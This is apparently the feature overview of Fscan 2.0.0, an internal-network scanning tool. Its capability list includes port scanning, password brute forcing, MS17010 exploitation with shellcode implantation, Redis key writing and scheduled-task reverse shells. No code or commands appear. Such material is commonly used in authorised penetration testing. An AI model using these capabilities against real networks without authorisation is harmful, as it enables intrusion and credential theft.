Fscan 2.0.0
1. Introduction
An intranet comprehensive scanning tool, designed for automated and comprehensive vulnerability scanning of internal networks. It supports host survival detection, port scanning, common service brute force, ms17010 vulnerability detection, Redis batch public key writing, scheduled task rebound shell, Windows network card information collection, web fingerprint identification, web vulnerability scanning, NetBIOS detection, domain controller identification, and many other functions.
2. Functions
-
Information collection:
- Host survival detection (ICMP)
- Port scanning
-
Brute force attacks:
- Various service password brute forcing (SSH, SMB, RDP, etc.)
- Database password brute forcing (MySQL, MSSQL, Redis, PostgreSQL, Oracle, etc.)
-
System information and vulnerability scanning:
- NetBIOS detection and domain controller identification
- Network Interface Card (NIC) information collection
- High-risk vulnerability scanning (MS17010, etc.)
-
Web detection:
- Web title detection
- Web fingerprinting (CMS, OA frameworks, etc.)
- Web vulnerability scanning (WebLogic, Struts2, etc., also supports XRay POC)
-
Exploitation:
- Redis public key writing and scheduled task creation
- SSH command execution
- MS17010 vulnerability exploitation (shellcode implantation), such as adding users
-
Other features:
- Save output results to file
